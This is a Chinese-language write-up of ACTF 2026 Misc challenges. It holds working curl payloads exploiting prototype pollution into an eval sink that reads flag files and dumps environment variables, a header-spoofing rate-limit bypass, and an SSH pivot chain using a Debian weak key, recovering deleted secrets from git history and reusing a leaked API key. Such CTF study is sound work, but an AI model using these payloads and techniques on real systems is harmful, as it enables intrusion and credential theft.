← Misc / CTF
MISC

ACTF 2026 Misc Writeups

ACTF 2026 非 Crypto 部分的 Misc 题目复盘,包含 ∀gent、ezssh、ZJUAM 与 special day。

∀gent

题目描述

题目给了一个前端很简陋的 agent 网站。附件是 Node.js 服务,核心逻辑不在前端,而在后端的 workspace agent/tool 调用链里。

题目描述里提到 “from small to big”,实际对应的是:从几个普通请求字段污染到更大的全局原型对象。

代码审计

关键 API:

POST /api/projects/:id/agent/override

后端会把请求里的字段拼成配置更新路径:

function buildPropertyPath(request) {
  const scope = sanitizeSegment(request.scope, "release");
  const environment = sanitizeSegment(request.environment, "staging");
  const section = sanitizeSegment(request.section, "image");
  const field = sanitizeSegment(request.field, "tag");

  return `agentProfile.scopes.${scope}.environments.${environment}.${section}.${field}`;
}

这里没有过滤 constructorprototype__proto__ 等危险字段。

后续这个 path 会进入 vendored 的 yaml-update-action,其内部使用 jsonpath.value() 写 YAML:

jsonpath.value(copy, jsonPath, value);

因此可以通过 JSONPath 写入原型链,造成 prototype pollution。

利用点

agent 在执行 override job 时会调用 policy.evaluate:

function evaluatePolicy(repoFacts, vendorCatalog, peerCatalog) {
  const workspacePolicy = repoFacts.policy || {};

  const runtime = {
    formula: workspacePolicy.formula || "base + hasReadme*10 + ...",
    bindingProfile: resolvedProfiles.bindingProfile,
    resultProfile: resolvedProfiles.resultProfile,
  };

  const formulaResult = evaluateFormula(runtime.formula, ...);
}

而 evaluateFormula 最终会执行:

eval(`(function(${argNames.join(',')}) { return (${expression}); })`)

如果污染 Object.prototype.policy,普通对象 repoFacts 就会继承到我们构造的 policy,从而控制 formula,最终形成 RCE / 任 意表达式执行。

漏洞利用

第一步,先污染出一个可用的 inherited pivot:

curl -sS "$TARGET/api/projects/workspace-main/agent/override" \
  -H 'content-type: application/json' \
  -H 'x-forwarded-for: 1.1.1.1' \
  -d '{"instruction":"update
config","scope":"constructor","environment":"pivot","section":"x","field":"y","value":"z"}'

第二步,通过这个 pivot 写入 Object.prototype.policy:

curl -sS "$TARGET/api/projects/workspace-main/agent/override" \
  -H 'content-type: application/json' \
  -H 'x-forwarded-for: 2.2.2.2' \
  -d '{"instruction":"update
config","scope":"constructor","environment":"pivot","section":"constructor.prototype","field":"policy","value":
{"formula":"(process.env.FLAG||process.env.ACTF_FLAG||process.env.GZCTF_FLAG||(()=>{for (const p of [\"/flag\",\"/
flag.txt\",\"/app/flag\"]){try{return require(\"fs\").readFileSync(p,\"utf8\")}catch(e){}}return
JSON.stringify(process.env)})())","bindingProfile":"compat","resultProfile":"wide"}}' \
  | jq -r '.job.result.evaluation.formulaResult'

这里加 X-Forwarded-For 是为了绕过每 20 秒 1 次的 override rate limit。

假 Flag

源码里有一个明显的假 flag:

content: "ACTF{WuYan_1s_4_b19_Turt13_N07_7h3_F1n41_Fl4g}"

函数名也叫:

refreshFakeFlagConversation()

所以这个不是最终答案。

Flag

最终读取环境变量得到:

ACTF{1n_f4c7_∀_D0esn'7_ref3r_2_und3rwe4r_bu7_an_1nVer7ed_A}

ezssh

题目提示 flag 有三段。进入实例后,guest 用户需要先通过 team-gate 校验,输入队伍 token 后可以拿到 shell。

先做基础枚举,发现 /home/inuebisu/flag1.txt 不可读,但 /home/inuebisu/.ssh 和 .bash_history 可读:

ls -la /home/inuebisu /home/inuebisu/.ssh
cat /home/inuebisu/.bash_history
cat /home/inuebisu/.ssh/config
cat /home/inuebisu/.ssh/authorized_keys

历史记录里有几个关键点:

ssh root@oldgw
scp root@oldgw:/etc/debian_version /tmp/oldgw-etc/
scp root@oldgw:/root/.ssh/id_rsa.pub /tmp/oldgw.pub
cat /tmp/oldgw.pub >> ~/.ssh/authorized_keys
ssh gitops@git-01

/tmp/oldgw-etc/debian_version 内容是:

4.0

Debian 4.0 对应经典的 OpenSSL 弱随机数问题。authorized_keys 里有一把 root@oldgw 的 RSA 公钥,计算指纹:

ssh-keygen -E md5 -lf oldgw.pub

得到:

MD5:a3:ed:92:9a:9c:89:a7:3f:52:13:7a:ba:c5:56:56:32

使用 Debian weak SSH key 库匹配 RSA 2048/x86 密钥,命中:

rsa/2048/a3ed929a9c89a73f52137abac5565632-7187

用这把私钥登录 inuebisu,通过 team-gate 后读取第一段:

ssh -i a3ed929a9c89a73f52137abac5565632-7187 inuebisu@host -p port
cat ~/flag1.txt

第一段:

ACTF{O1DGw_N3vER_d!E5_

接着用 inuebisu 的 SSH 配置进入 git-01:

ssh -F ~/.ssh/config git-01
cat ~/flag2.txt

第二段:

h!s70ry_sT!lL_1eaK$_

继续看 gitops 的历史记录,发现仓库 /srv/git/ai-gateway-migration 中曾提交过 .env.production,后面又用 git filter- branch 删除:

cd /srv/git/ai-gateway-migration
git fsck --full

发现 dangling commit:

dangling commit b6517bb43450531b58b2272191ecac8675c41022

恢复被删文件:

git show b6517bb43450531b58b2272191ecac8675c41022:.env.production

得到 API key:

OPENAI_API_KEY=REDACTED_CHALLENGE_KEY

仓库和 SSH key 还指向 backup-01,gitops 的 ~/.ssh/backup_ro 只能访问 sftp。连接后在备份里找到 ai-gateway.service:

sftp -i ~/.ssh/backup_ro backup@10.61.16.30
get /archive/ai-gateway-01/etc/systemd/system/ai-gateway.service

服务文件里给出内网接口:

OPENAI_BASE_URL=http://10.61.16.40:8080/v1
OPENAI_MODEL=deepsleep-v8

最后用恢复出的 API key 请求内网 gateway:

curl -sS http://10.61.16.40:8080/v1/chat/completions \
  -H 'Authorization: Bearer REDACTED_CHALLENGE_KEY' \
  -H 'Content-Type: application/json' \
  -d '{"model":"deepsleep-v8","messages":[{"role":"user","content":"ping"}]}'

返回第三段:

@70M1c_b0mBiN9}

最终 flag:

ACTF{O1DGw_N3vER_d!E5_h!s70ry_sT!lL_1eaK$_@70M1c_b0mBiN9}

ZJUAM Just Uses Awful Math

直接从流量包里面找数据就行了

from math import gcd
n=int('90011418f37a7a075aead75a9829d38eb2d750fd17bb24e5861b89d7658a88c3',16)
e=0x10001
c=int('590948ad2f7a3c0b1a2a5e5f470f4297db3b90623251132be2c5e5395cd12563',16)
p=int('9862b8ecfe60dadd017024122d69b27f',16)
q=int('f1eb6dd71f968c43fcdde215792bbfbd',16)
print(p*q==n)
phi=(p-1)*(q-1)
d=pow(e,-1,phi)
m=pow(c,d,n)
b=m.to_bytes((m.bit_length()+7)//8,'big')
print(hex(m))
print(b)
print(b.decode(errors='replace'))
print(m.to_bytes(32,'big').hex())
print(pow(m,e,n)==c)

special day

base64然后删改一下即可